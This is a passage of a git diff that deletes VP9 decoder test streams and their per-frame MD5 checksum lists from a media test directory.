-e05c9a7af0ea61d4ef4476de4d7c97cd  vp90-2-09-aq2-352x240-0080.i420
-dfc99210a942a7427033cce9b596e0fa  vp90-2-09-aq2-352x240-0081.i420
-544361eecb8c3b45feb1dbef5c0a39a2  vp90-2-09-aq2-352x240-0082.i420
-7aaae6bbf8af4f7f6556f2285a9d9476  vp90-2-09-aq2-352x240-0083.i420
-485716ddd13576464d1ca47b4859cc22  vp90-2-09-aq2-352x240-0084.i420
-00194b66bafdb6a252852bd087200c6b  vp90-2-09-aq2-352x240-0085.i420
-d21b316ba1006c2381d78e5b7652b12a  vp90-2-09-aq2-352x240-0086.i420
-56506d53dc2333ccddcedb449977ce57  vp90-2-09-aq2-352x240-0087.i420
-0c6787858208959270dde59e38c544ca  vp90-2-09-aq2-352x240-0088.i420
-913b906f645964f57913db70e21aa6d8  vp90-2-09-aq2-352x240-0089.i420
-f9c5d447dd4c060d3610d22b6ff8f1d7  vp90-2-09-aq2-352x240-0090.i420
-ece0a0110c14dccde0ea4d0484b60d38  vp90-2-09-aq2-352x240-0091.i420
-fbcb7e878673c8287a1ed57a6feef818  vp90-2-09-aq2-352x240-0092.i420
-be5aed5dd5538c3ad8c9d88fb4a4207f  vp90-2-09-aq2-352x240-0093.i420
-4c668204dd2c45d039bf7c5f44203803  vp90-2-09-aq2-352x240-0094.i420
-06f9b1207289ed7fbf03c4be3f0349f5  vp90-2-09-aq2-352x240-0095.i420
-26275672bc752789d0a175ca48344643  vp90-2-09-aq2-352x240-0096.i420
-1b56fde58558ec9ae00f24815c13f672  vp90-2-09-aq2-352x240-0097.i420
-ff65dec4cab5d10ea34321f34d369b5e  vp90-2-09-aq2-352x240-0098.i420
-3d419dded34673cf487b39106af08da6  vp90-2-09-aq2-352x240-0099.i420
-ab8a99b2a88bab0238e5d3d3204098e0  vp90-2-09-aq2-352x240-0100.i420
diff --git a/tests/tests/media/res/raw/vp90_2_09_lf_deltas.vp9 b/tests/tests/media/res/raw/vp90_2_09_lf_deltas.vp9
deleted file mode 100644
index 72c747b..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_lf_deltas.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_09_lf_deltas_vp9_md5 b/tests/tests/media/res/raw/vp90_2_09_lf_deltas_vp9_md5
deleted file mode 100644
index b212aaa..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_lf_deltas_vp9_md5
+++ /dev/null
@@ -1,30 +0,0 @@
-a83c7f4602f595fd09e97f8c8a7277ec  vp90-2-09-lf_deltas-352x240-0001.i420
-53e1a3fd44932883a8dd112bbb0e359f  vp90-2-09-lf_deltas-352x240-0002.i420
-4bb16d168f9f0a7702c31a68bb8ff36c  vp90-2-09-lf_deltas-352x240-0003.i420
-1b2df157913aba96553aaf8d51491bf3  vp90-2-09-lf_deltas-352x240-0004.i420
-9d041532e42fca7a4062cd3e9b75413b  vp90-2-09-lf_deltas-352x240-0005.i420
-0dbac5ca06e13714d10e99042aefe375  vp90-2-09-lf_deltas-352x240-0006.i420
-bb83a507a65d2a640b08f42a77bb37f6  vp90-2-09-lf_deltas-352x240-0007.i420
-176f992d37c7daa36135cddb49398de3  vp90-2-09-lf_deltas-352x240-0008.i420
-c41834f72b3281cf6aaa66fd7416e6c3  vp90-2-09-lf_deltas-352x240-0009.i420
-790d4e6b1609dec782ff978e2003d318  vp90-2-09-lf_deltas-352x240-0010.i420
-449622f741f7577c1d721f2e9eb25091  vp90-2-09-lf_deltas-352x240-0011.i420
-8ef8543f7895c87ab04491b0150628e5  vp90-2-09-lf_deltas-352x240-0012.i420
-88ef626aca4b2bcb8c58a69db20a7b02  vp90-2-09-lf_deltas-352x240-0013.i420
-4b2f7adc2e1872ecdd9ffa7d1f1df4a6  vp90-2-09-lf_deltas-352x240-0014.i420
-7b162660225022ef31e39c34fee3418e  vp90-2-09-lf_deltas-352x240-0015.i420
-2b439a4b846edcc69cdf6075de5ac8fb  vp90-2-09-lf_deltas-352x240-0016.i420
-ba2eb1ba0ed9abf701a53a94c9c626fc  vp90-2-09-lf_deltas-352x240-0017.i420
-9fbec5d5334fd5e917feee756b652d93  vp90-2-09-lf_deltas-352x240-0018.i420
-93b5eb99ea54abc5fa90c5674499e27e  vp90-2-09-lf_deltas-352x240-0019.i420
-04a98408e9b0aed28932ef1dfdcfdb6c  vp90-2-09-lf_deltas-352x240-0020.i420
-9856ba976bed30bc790a3f28e926b092  vp90-2-09-lf_deltas-352x240-0021.i420
-2b0f450e9724cfc57b846148ff876e51  vp90-2-09-lf_deltas-352x240-0022.i420
-163757f3529369b9789ea606387b831d  vp90-2-09-lf_deltas-352x240-0023.i420
-de5ed2aff936c54f3378d0dcc2575d13  vp90-2-09-lf_deltas-352x240-0024.i420
-1f642826b8a6fb111c7c6130481dab89  vp90-2-09-lf_deltas-352x240-0025.i420
-b8e3a77c7d3c5c56f67aa7409fb5404c  vp90-2-09-lf_deltas-352x240-0026.i420
-eb06cb4f471e42d7fc06929a442cca8b  vp90-2-09-lf_deltas-352x240-0027.i420
-53471649a5080b306d2c04a4f7673bdf  vp90-2-09-lf_deltas-352x240-0028.i420
-70996be0cc5d2bd97025015dd50caa99  vp90-2-09-lf_deltas-352x240-0029.i420
-ff3280a8562fdf6697c4a7cb9c1bf0a0  vp90-2-09-lf_deltas-352x240-0030.i420
diff --git a/tests/tests/media/res/raw/vp90_2_09_subpixel_00_vp9_md5 b/tests/tests/media/res/raw/vp90_2_09_subpixel_00_vp9_md5
deleted file mode 100644
index 1144632..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_subpixel_00_vp9_md5
+++ /dev/null
@@ -1,20 +0,0 @@
-50233551e96b74ebfdaabbc8a154303c  vp90-hantro-stream-001-320x180-0001.i420
-047109ae2e488be8ee953dca4f09a0e2  vp90-hantro-stream-001-320x180-0002.i420
-5e2ba01240e39566a607f10f0d7eaed3  vp90-hantro-stream-001-320x180-0003.i420
-01f1c635ce56efcc13def2ac3bcccc3f  vp90-hantro-stream-001-320x180-0004.i420
-6e800d75da797409eb2f5b458027b05d  vp90-hantro-stream-001-320x180-0005.i420
-a88b9c2cfad5367d934fd067c2c6452d  vp90-hantro-stream-001-320x180-0006.i420
-a898a33e443dba4c2d61c27caa0fb068  vp90-hantro-stream-001-320x180-0007.i420
-321f16df155169f1fbd117a258b065ed  vp90-hantro-stream-001-320x180-0008.i420
-a71b4df17c37e423a2a6129be8058c66  vp90-hantro-stream-001-320x180-0009.i420
-b168dad8dd0be2e945ada495320e1ec3  vp90-hantro-stream-001-320x180-0010.i420
-4b4e227f6558b9a0e80bbeaebdc50b63  vp90-hantro-stream-001-320x180-0011.i420
-929ad97d05c62b56d908378beeedb68e  vp90-hantro-stream-001-320x180-0012.i420
-f952dc4b2a6e6cdcb0740e67eec87c96  vp90-hantro-stream-001-320x180-0013.i420
-f42500b60e2bbfee44b7e5b4068d9061  vp90-hantro-stream-001-320x180-0014.i420
-802f7975005cc8d77a3801b72ee08ca1  vp90-hantro-stream-001-320x180-0015.i420
-e685e147c9400dd6742c749dc1e18fd6  vp90-hantro-stream-001-320x180-0016.i420
-4080f9db1e9a98478af9c0575a7f31fc  vp90-hantro-stream-001-320x180-0017.i420
-70fcce378d2bade12d2dab44b3fbd4b6  vp90-hantro-stream-001-320x180-0018.i420
-81e539130d2dbb2eb69fe63eb1bb9cbb  vp90-hantro-stream-001-320x180-0019.i420
-2952c0eae93f3dadd1aa84c50d3fd6d2  vp90-hantro-stream-001-320x180-0020.i420
diff --git a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame.vp9 b/tests/tests/media/res/raw/vp90_2_10_show_existing_frame.vp9
deleted file mode 100644
index bd5531e..0000000
--- a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2.vp9 b/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2.vp9
deleted file mode 100644
index 665a236..0000000
--- a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2_vp9_md5
deleted file mode 100644
index 51940b6..0000000
--- a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame2_vp9_md5
+++ /dev/null
@@ -1,16 +0,0 @@
-382b12c33cd86b38758706b8ebca8a85  -352x288-0001.i420
-799544370b35c91711a5b49a28cf86a8  -352x288-0002.i420
-7218eb4b6d1c7aea4f96ee47ad675e8e  -352x288-0003.i420
-627466200370e6ad60ea570d31be66e3  -352x288-0004.i420
-7dc65a2af108379f2b9265a9a1ea7cf8  -352x288-0005.i420
-c979e2f084760775a567f60f79f28198  -352x288-0006.i420
-fe668a6417aa0543e4ed4d1c67c5cbcb  -352x288-0007.i420
-bf9901e39815fa93cce0ed5b02b2ef2d  -352x288-0008.i420
-627466200370e6ad60ea570d31be66e3  -352x288-0009.i420
-7dc65a2af108379f2b9265a9a1ea7cf8  -352x288-0010.i420
-c979e2f084760775a567f60f79f28198  -352x288-0011.i420
-fe668a6417aa0543e4ed4d1c67c5cbcb  -352x288-0012.i420
-bf9901e39815fa93cce0ed5b02b2ef2d  -352x288-0013.i420
-627466200370e6ad60ea570d31be66e3  -352x288-0014.i420
-7dc65a2af108379f2b9265a9a1ea7cf8  -352x288-0015.i420
-c979e2f084760775a567f60f79f28198  -352x288-0016.i420
diff --git a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame_vp9_md5 b/tests/tests/media/res/raw/vp90_2_10_show_existing_frame_vp9_md5
deleted file mode 100644
index 85d421d..0000000
--- a/tests/tests/media/res/raw/vp90_2_10_show_existing_frame_vp9_md5
+++ /dev/null
@@ -1,13 +0,0 @@
-18981342ec178e082519451062c3a67f  vp90-2-10-show-existing-frame-352x288-0001.i420
-04ab9dbeac49ec31be58f6e671698e05  vp90-2-10-show-existing-frame-352x288-0002.i420
-4ed58a0ba93a5d97a232a50c5876cda2  vp90-2-10-show-existing-frame-352x288-0003.i420
-a41f00034923e56ba51a0b598acc2e3a  vp90-2-10-show-existing-frame-352x288-0004.i420
-63fa55ae9535ccdf06d44cce8065dda6  vp90-2-10-show-existing-frame-352x288-0005.i420
-a41f00034923e56ba51a0b598acc2e3a  vp90-2-10-show-existing-frame-352x288-0006.i420
-0e4b08e14d919edee2bbff2ecd47de57  vp90-2-10-show-existing-frame-352x288-0007.i420
-0e4b08e14d919edee2bbff2ecd47de57  vp90-2-10-show-existing-frame-352x288-0008.i420
-5d4af03fc3d410413ef2b5a6275528b7  vp90-2-10-show-existing-frame-352x288-0009.i420
-9e932915c67a789f6877e6d3f76d3649  vp90-2-10-show-existing-frame-352x288-0010.i420
-12f2e975c217e7ffcf334524e8acec35  vp90-2-10-show-existing-frame-352x288-0011.i420
-9e932915c67a789f6877e6d3f76d3649  vp90-2-10-show-existing-frame-352x288-0012.i420
-12f2e975c217e7ffcf334524e8acec35  vp90-2-10-show-existing-frame-352x288-0013.i420
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_1.vp9 b/tests/tests/media/res/raw/vp90_2_12_droppable_1.vp9
deleted file mode 100644
index 666d187..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_1.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_1_vp9_md5 b/tests/tests/media/res/raw/vp90_2_12_droppable_1_vp9_md5
deleted file mode 100644
index 7b1abf8..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_1_vp9_md5
+++ /dev/null
@@ -1,99 +0,0 @@
-1839e5db94dc99681d690d544cbe28a4  vp90-2-12-droppable_1.ivf-352x288-0001.i420
-dae2db51b91745edddb33ddbeb4e0988  vp90-2-12-droppable_1.ivf-352x288-0002.i420
-046639dbef310bf9016a54498a3ef0a3  vp90-2-12-droppable_1.ivf-352x288-0003.i420
-947044a5dbc918e8be468c2bc9eaeeaa  vp90-2-12-droppable_1.ivf-352x288-0004.i420
-f96322ba3bf86065829d15c4394a1ab2  vp90-2-12-droppable_1.ivf-352x288-0005.i420
-4dfcf05608b399d56b0b29e3447ac24a  vp90-2-12-droppable_1.ivf-352x288-0006.i420
-b772fd5f5e3221d9c1daf690aeca89e8  vp90-2-12-droppable_1.ivf-352x288-0007.i420
-d8838cf1a4316c6c9ba7f42f8cba205c  vp90-2-12-droppable_1.ivf-352x288-0008.i420
-368f762830ed3d29d642798ff88107bd  vp90-2-12-droppable_1.ivf-352x288-0009.i420
-f3e614a8f67681f814242c75e6ac66f7  vp90-2-12-droppable_1.ivf-352x288-0010.i420
-f49458a915dd853e53c15e52e280085b  vp90-2-12-droppable_1.ivf-352x288-0011.i420
-65cbd3f3f8447d3caf935cddfcb6cb15  vp90-2-12-droppable_1.ivf-352x288-0012.i420
-8f4764c45093050a78b4b6055648cda0  vp90-2-12-droppable_1.ivf-352x288-0013.i420
-16d399bff977cdac0543daffba3a14bd  vp90-2-12-droppable_1.ivf-352x288-0014.i420
-59f16bc632697d20514a55814cf0a9ae  vp90-2-12-droppable_1.ivf-352x288-0015.i420
-058ba53139a3f48883ae4e668177d564  vp90-2-12-droppable_1.ivf-352x288-0016.i420
-85796d9edf6a5fe5d0c804e8b80f4469  vp90-2-12-droppable_1.ivf-352x288-0017.i420
-94b7bf54b3dd8d007cb932c330e4e7cf  vp90-2-12-droppable_1.ivf-352x288-0018.i420
-964732ac0abf132fe8c65a845eeaea39  vp90-2-12-droppable_1.ivf-352x288-0019.i420
-dda8408b95868ea683f921e88ca0f8f4  vp90-2-12-droppable_1.ivf-352x288-0020.i420
-33b008d0b3932abd28d1c0d484a89cb0  vp90-2-12-droppable_1.ivf-352x288-0021.i420
-bbf8f8edda10ab20cde304b362f6fc7c  vp90-2-12-droppable_1.ivf-352x288-0022.i420
-6a08c9c1d4444f6b706a9193823e4866  vp90-2-12-droppable_1.ivf-352x288-0023.i420
-f3cfb225730f103c76083220b55aaf7e  vp90-2-12-droppable_1.ivf-352x288-0024.i420
-aa43de9fd852ffca405f9e1be0c517b9  vp90-2-12-droppable_1.ivf-352x288-0025.i420
-e5bcd2084c06d7e391af0710a3f56f86  vp90-2-12-droppable_1.ivf-352x288-0026.i420
-e16276389746853039a5c1353e3f830e  vp90-2-12-droppable_1.ivf-352x288-0027.i420
-8ecf32a7649dd9df718b5a31512aa17b  vp90-2-12-droppable_1.ivf-352x288-0028.i420
-db63be2b267a77061f40a48a5ad94129  vp90-2-12-droppable_1.ivf-352x288-0029.i420
-94c6a699e9b5382e1e4a30d462d1b05d  vp90-2-12-droppable_1.ivf-352x288-0030.i420
-340102d21a9c8d9119aed97d7bd408ba  vp90-2-12-droppable_1.ivf-352x288-0031.i420
-a369b32d71a6daf9a589614cba76d06c  vp90-2-12-droppable_1.ivf-352x288-0032.i420
-7c6f24525d07f08cfaaf8b57c1b1e0c7  vp90-2-12-droppable_1.ivf-352x288-0033.i420
-f99b35baf3e4f3967ad08b5475041959  vp90-2-12-droppable_1.ivf-352x288-0034.i420
-b1dede9bbe4a9542d10e7e2dcc225208  vp90-2-12-droppable_1.ivf-352x288-0035.i420
-d627915070dd5e6e11d1dff7b1dc4243  vp90-2-12-droppable_1.ivf-352x288-0036.i420
-2f176951d8716e1ac316f30388be269d  vp90-2-12-droppable_1.ivf-352x288-0037.i420
-215828b89c294b2568a575438c75d4e0  vp90-2-12-droppable_1.ivf-352x288-0038.i420
-3a29b4bf698713cbd575e6b14257fc87  vp90-2-12-droppable_1.ivf-352x288-0039.i420
-b930a1eef6838edc9abb769909b87cd9  vp90-2-12-droppable_1.ivf-352x288-0040.i420
-532c260abbd6d1181be3ff7a77f2d350  vp90-2-12-droppable_1.ivf-352x288-0041.i420
-b9ee7c0ab6c7cf8881fe5ed165454638  vp90-2-12-droppable_1.ivf-352x288-0042.i420
-d516f6949c3704ab9f154e3720f5f9ec  vp90-2-12-droppable_1.ivf-352x288-0043.i420
-bf05478086e97057856c3c987b220958  vp90-2-12-droppable_1.ivf-352x288-0044.i420
-92202af7ea355a8d4678e618c0344134  vp90-2-12-droppable_1.ivf-352x288-0045.i420
-ca870c59afab60c5da07e688a89be1a9  vp90-2-12-droppable_1.ivf-352x288-0046.i420
-92429a1763b07d2a0bf843a2953fcc1c  vp90-2-12-droppable_1.ivf-352x288-0047.i420
-1614a4655799cd08875b1271767ce85e  vp90-2-12-droppable_1.ivf-352x288-0048.i420
-2b30362c459109cafcff5f1bb8217e34  vp90-2-12-droppable_1.ivf-352x288-0049.i420
-6568f3dd687762489b7fd2c4a59dd38c  vp90-2-12-droppable_1.ivf-352x288-0050.i420
-6121d029cf4e402f9999a6719b3d6d97  vp90-2-12-droppable_1.ivf-352x288-0051.i420
-085cc85c56e35b4a19b48b502d606ffb  vp90-2-12-droppable_1.ivf-352x288-0052.i420
-63a7dc5d70bd142cb167c20f645a90bb  vp90-2-12-droppable_1.ivf-352x288-0053.i420
-b3ae931ee6f2724304f6a67070a386c0  vp90-2-12-droppable_1.ivf-352x288-0054.i420
-07fcd2b18c1c8a6c46151acff26ce2c0  vp90-2-12-droppable_1.ivf-352x288-0055.i420
-658758a58b92693bafeff41a2424e2a9  vp90-2-12-droppable_1.ivf-352x288-0056.i420
-3619120dfca7b24434ebe8e87936996c  vp90-2-12-droppable_1.ivf-352x288-0057.i420
-17152bbf314be8c30837cbece6fb53cd  vp90-2-12-droppable_1.ivf-352x288-0058.i420
-bc3352c6948fac5a681bf37abcc9b8b4  vp90-2-12-droppable_1.ivf-352x288-0059.i420
-5a4e0a19a7653a5ad120b1f46f9905b4  vp90-2-12-droppable_1.ivf-352x288-0060.i420
-2632db035652049f5340d1e59d577d42  vp90-2-12-droppable_1.ivf-352x288-0061.i420
-95a28f288602ae1f859a02055103aa39  vp90-2-12-droppable_1.ivf-352x288-0062.i420
-3d01e40359a3cfca996908d331492848  vp90-2-12-droppable_1.ivf-352x288-0063.i420
-4b6243114b09dbf590c1250419327b01  vp90-2-12-droppable_1.ivf-352x288-0064.i420
-f9aae29d9168366933f2bcc57a5afcb8  vp90-2-12-droppable_1.ivf-352x288-0065.i420
-6bca12015a807fdf48cda90cbe042ab4  vp90-2-12-droppable_1.ivf-352x288-0066.i420
-7769b6fa16f8c09973d1a2c08cf18dbb  vp90-2-12-droppable_1.ivf-352x288-0067.i420
-3457395b67960b1566007e764b0c0e81  vp90-2-12-droppable_1.ivf-352x288-0068.i420
-0d0ea9bdd5c4b164bbefc31000a28e49  vp90-2-12-droppable_1.ivf-352x288-0069.i420
-9fb6b2afb53b73a658b579beb3008bcd  vp90-2-12-droppable_1.ivf-352x288-0070.i420
-c9a941b87dcdd09afaab68cca0ed668a  vp90-2-12-droppable_1.ivf-352x288-0071.i420
-9a2baa4c442f3ebdf251e9bbef0dbf83  vp90-2-12-droppable_1.ivf-352x288-0072.i420
-ef90237bc4ed3d795ba78c8a4ef9f1d6  vp90-2-12-droppable_1.ivf-352x288-0073.i420
-68cabdcf5d934e279f1c45207e983d43  vp90-2-12-droppable_1.ivf-352x288-0074.i420
-ac5d93877691c05bb581a10bfcd058e5  vp90-2-12-droppable_1.ivf-352x288-0075.i420
-c4e09feb0a88d765c7681c7d427eda87  vp90-2-12-droppable_1.ivf-352x288-0076.i420
-690734960471ab41d5cdf052be87bd30  vp90-2-12-droppable_1.ivf-352x288-0077.i420
-4abaaa7e31a3a6e30b242e42587363d5  vp90-2-12-droppable_1.ivf-352x288-0078.i420
-b9c46f294e7a23b608004ff8aa2b9ea3  vp90-2-12-droppable_1.ivf-352x288-0079.i420
-b6a6a0e45c30de0f03880f753b6e75de  vp90-2-12-droppable_1.ivf-352x288-0080.i420
-c8725906463cb71ed8a64ba8af6a79be  vp90-2-12-droppable_1.ivf-352x288-0081.i420
-d0e28c090e859834a33bc0867a0f7ed7  vp90-2-12-droppable_1.ivf-352x288-0082.i420
-1ad8bf201d9898d562631226a2ef85fa  vp90-2-12-droppable_1.ivf-352x288-0083.i420
-962fe544b1a76bafe8a1b77cd64679ba  vp90-2-12-droppable_1.ivf-352x288-0084.i420
-89f9a77223961cc5ad49a11913ff9774  vp90-2-12-droppable_1.ivf-352x288-0085.i420
-483782bf6d14bbb19c749d58b8535e3e  vp90-2-12-droppable_1.ivf-352x288-0086.i420
-dfbe1b7ecc880ce5da758728f7375d63  vp90-2-12-droppable_1.ivf-352x288-0087.i420
-11a51b22418cc8dad57a20b37dd10630  vp90-2-12-droppable_1.ivf-352x288-0088.i420
-50b90506f9666ccb7dd94b6d59096489  vp90-2-12-droppable_1.ivf-352x288-0089.i420
-101294ecaff7edf5155ddc6cf3595021  vp90-2-12-droppable_1.ivf-352x288-0090.i420
-177e8f9d8aaf40b17d0b677133fc7955  vp90-2-12-droppable_1.ivf-352x288-0091.i420
-c029f78e758a27b8fc4214abf5ddad07  vp90-2-12-droppable_1.ivf-352x288-0092.i420
-45b6df0756e3f98218f4e9f0f33b1f13  vp90-2-12-droppable_1.ivf-352x288-0093.i420
-82d1fd8cc9fa0a072a0fc6177e7f8805  vp90-2-12-droppable_1.ivf-352x288-0094.i420
-bf6c3e8df105fdb82a614f8e8f6d68af  vp90-2-12-droppable_1.ivf-352x288-0095.i420
-2e66eccd31c0e1792f3019c0a7b43af6  vp90-2-12-droppable_1.ivf-352x288-0096.i420
-d7eab4f351bd3c03e873b93afc9b7803  vp90-2-12-droppable_1.ivf-352x288-0097.i420
-f7bc200d54ec154779521311c54a22d1  vp90-2-12-droppable_1.ivf-352x288-0098.i420
-8e2624d762102b6dbe13b7cf20ee1708  vp90-2-12-droppable_1.ivf-352x288-0099.i420
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_2.vp9 b/tests/tests/media/res/raw/vp90_2_12_droppable_2.vp9
deleted file mode 100644
index 672af0b..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_12_droppable_2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_12_droppable_2_vp9_md5
deleted file mode 100644
index 4ee5724..0000000
--- a/tests/tests/media/res/raw/vp90_2_12_droppable_2_vp9_md5
+++ /dev/null
@@ -1,99 +0,0 @@
-1839e5db94dc99681d690d544cbe28a4  vp90-2-12-droppable_2.ivf-352x288-0001.i420
-dae2db51b91745edddb33ddbeb4e0988  vp90-2-12-droppable_2.ivf-352x288-0002.i420
-046639dbef310bf9016a54498a3ef0a3  vp90-2-12-droppable_2.ivf-352x288-0003.i420
-947044a5dbc918e8be468c2bc9eaeeaa  vp90-2-12-droppable_2.ivf-352x288-0004.i420
-f96322ba3bf86065829d15c4394a1ab2  vp90-2-12-droppable_2.ivf-352x288-0005.i420
-4dfcf05608b399d56b0b29e3447ac24a  vp90-2-12-droppable_2.ivf-352x288-0006.i420
-b772fd5f5e3221d9c1daf690aeca89e8  vp90-2-12-droppable_2.ivf-352x288-0007.i420
-d8838cf1a4316c6c9ba7f42f8cba205c  vp90-2-12-droppable_2.ivf-352x288-0008.i420
-368f762830ed3d29d642798ff88107bd  vp90-2-12-droppable_2.ivf-352x288-0009.i420
-f3e614a8f67681f814242c75e6ac66f7  vp90-2-12-droppable_2.ivf-352x288-0010.i420
-f49458a915dd853e53c15e52e280085b  vp90-2-12-droppable_2.ivf-352x288-0011.i420
-65cbd3f3f8447d3caf935cddfcb6cb15  vp90-2-12-droppable_2.ivf-352x288-0012.i420
-8f4764c45093050a78b4b6055648cda0  vp90-2-12-droppable_2.ivf-352x288-0013.i420
-16d399bff977cdac0543daffba3a14bd  vp90-2-12-droppable_2.ivf-352x288-0014.i420
-59f16bc632697d20514a55814cf0a9ae  vp90-2-12-droppable_2.ivf-352x288-0015.i420
-058ba53139a3f48883ae4e668177d564  vp90-2-12-droppable_2.ivf-352x288-0016.i420
-85796d9edf6a5fe5d0c804e8b80f4469  vp90-2-12-droppable_2.ivf-352x288-0017.i420
-94b7bf54b3dd8d007cb932c330e4e7cf  vp90-2-12-droppable_2.ivf-352x288-0018.i420
-964732ac0abf132fe8c65a845eeaea39  vp90-2-12-droppable_2.ivf-352x288-0019.i420
-dda8408b95868ea683f921e88ca0f8f4  vp90-2-12-droppable_2.ivf-352x288-0020.i420
-33b008d0b3932abd28d1c0d484a89cb0  vp90-2-12-droppable_2.ivf-352x288-0021.i420
-bbf8f8edda10ab20cde304b362f6fc7c  vp90-2-12-droppable_2.ivf-352x288-0022.i420
-6a08c9c1d4444f6b706a9193823e4866  vp90-2-12-droppable_2.ivf-352x288-0023.i420
-f3cfb225730f103c76083220b55aaf7e  vp90-2-12-droppable_2.ivf-352x288-0024.i420
-aa43de9fd852ffca405f9e1be0c517b9  vp90-2-12-droppable_2.ivf-352x288-0025.i420
-e5bcd2084c06d7e391af0710a3f56f86  vp90-2-12-droppable_2.ivf-352x288-0026.i420
-e16276389746853039a5c1353e3f830e  vp90-2-12-droppable_2.ivf-352x288-0027.i420
-8ecf32a7649dd9df718b5a31512aa17b  vp90-2-12-droppable_2.ivf-352x288-0028.i420
-db63be2b267a77061f40a48a5ad94129  vp90-2-12-droppable_2.ivf-352x288-0029.i420
-94c6a699e9b5382e1e4a30d462d1b05d  vp90-2-12-droppable_2.ivf-352x288-0030.i420
-340102d21a9c8d9119aed97d7bd408ba  vp90-2-12-droppable_2.ivf-352x288-0031.i420
-a369b32d71a6daf9a589614cba76d06c  vp90-2-12-droppable_2.ivf-352x288-0032.i420
-7c6f24525d07f08cfaaf8b57c1b1e0c7  vp90-2-12-droppable_2.ivf-352x288-0033.i420
-f99b35baf3e4f3967ad08b5475041959  vp90-2-12-droppable_2.ivf-352x288-0034.i420
-b1dede9bbe4a9542d10e7e2dcc225208  vp90-2-12-droppable_2.ivf-352x288-0035.i420
-d627915070dd5e6e11d1dff7b1dc4243  vp90-2-12-droppable_2.ivf-352x288-0036.i420
-2f176951d8716e1ac316f30388be269d  vp90-2-12-droppable_2.ivf-352x288-0037.i420
-215828b89c294b2568a575438c75d4e0  vp90-2-12-droppable_2.ivf-352x288-0038.i420
-3a29b4bf698713cbd575e6b14257fc87  vp90-2-12-droppable_2.ivf-352x288-0039.i420
-b930a1eef6838edc9abb769909b87cd9  vp90-2-12-droppable_2.ivf-352x288-0040.i420
-532c260abbd6d1181be3ff7a77f2d350  vp90-2-12-droppable_2.ivf-352x288-0041.i420
-b9ee7c0ab6c7cf8881fe5ed165454638  vp90-2-12-droppable_2.ivf-352x288-0042.i420
-d516f6949c3704ab9f154e3720f5f9ec  vp90-2-12-droppable_2.ivf-352x288-0043.i420
-bf05478086e97057856c3c987b220958  vp90-2-12-droppable_2.ivf-352x288-0044.i420
-92202af7ea355a8d4678e618c0344134  vp90-2-12-droppable_2.ivf-352x288-0045.i420
-ca870c59afab60c5da07e688a89be1a9  vp90-2-12-droppable_2.ivf-352x288-0046.i420
-92429a1763b07d2a0bf843a2953fcc1c  vp90-2-12-droppable_2.ivf-352x288-0047.i420
-1614a4655799cd08875b1271767ce85e  vp90-2-12-droppable_2.ivf-352x288-0048.i420
-2b30362c459109cafcff5f1bb8217e34  vp90-2-12-droppable_2.ivf-352x288-0049.i420
-6568f3dd687762489b7fd2c4a59dd38c  vp90-2-12-droppable_2.ivf-352x288-0050.i420
-6121d029cf4e402f9999a6719b3d6d97  vp90-2-12-droppable_2.ivf-352x288-0051.i420
-085cc85c56e35b4a19b48b502d606ffb  vp90-2-12-droppable_2.ivf-352x288-0052.i420
-63a7dc5d70bd142cb167c20f645a90bb  vp90-2-12-droppable_2.ivf-352x288-0053.i420
-b3ae931ee6f2724304f6a67070a386c0  vp90-2-12-droppable_2.ivf-352x288-0054.i420
-07fcd2b18c1c8a6c46151acff26ce2c0  vp90-2-12-droppable_2.ivf-352x288-0055.i420
-658758a58b92693bafeff41a2424e2a9  vp90-2-12-droppable_2.ivf-352x288-0056.i420
-3619120dfca7b24434ebe8e87936996c  vp90-2-12-droppable_2.ivf-352x288-0057.i420
-17152bbf314be8c30837cbece6fb53cd  vp90-2-12-droppable_2.ivf-352x288-0058.i420
-bc3352c6948fac5a681bf37abcc9b8b4  vp90-2-12-droppable_2.ivf-352x288-0059.i420
-5a4e0a19a7653a5ad120b1f46f9905b4  vp90-2-12-droppable_2.ivf-352x288-0060.i420
-2632db035652049f5340d1e59d577d42  vp90-2-12-droppable_2.ivf-352x288-0061.i420
-95a28f288602ae1f859a02055103aa39  vp90-2-12-droppable_2.ivf-352x288-0062.i420
-3d01e40359a3cfca996908d331492848  vp90-2-12-droppable_2.ivf-352x288-0063.i420
-4b6243114b09dbf590c1250419327b01  vp90-2-12-droppable_2.ivf-352x288-0064.i420
-f9aae29d9168366933f2bcc57a5afcb8  vp90-2-12-droppable_2.ivf-352x288-0065.i420
-6bca12015a807fdf48cda90cbe042ab4  vp90-2-12-droppable_2.ivf-352x288-0066.i420
-7769b6fa16f8c09973d1a2c08cf18dbb  vp90-2-12-droppable_2.ivf-352x288-0067.i420
-3457395b67960b1566007e764b0c0e81  vp90-2-12-droppable_2.ivf-352x288-0068.i420
-0d0ea9bdd5c4b164bbefc31000a28e49  vp90-2-12-droppable_2.ivf-352x288-0069.i420
-9fb6b2afb53b73a658b579beb3008bcd  vp90-2-12-droppable_2.ivf-352x288-0070.i420
-c9a941b87dcdd09afaab68cca0ed668a  vp90-2-12-droppable_2.ivf-352x288-0071.i420
-9a2baa4c442f3ebdf251e9bbef0dbf83  vp90-2-12-droppable_2.ivf-352x288-0072.i420
-ef90237bc4ed3d795ba78c8a4ef9f1d6  vp90-2-12-droppable_2.ivf-352x288-0073.i420
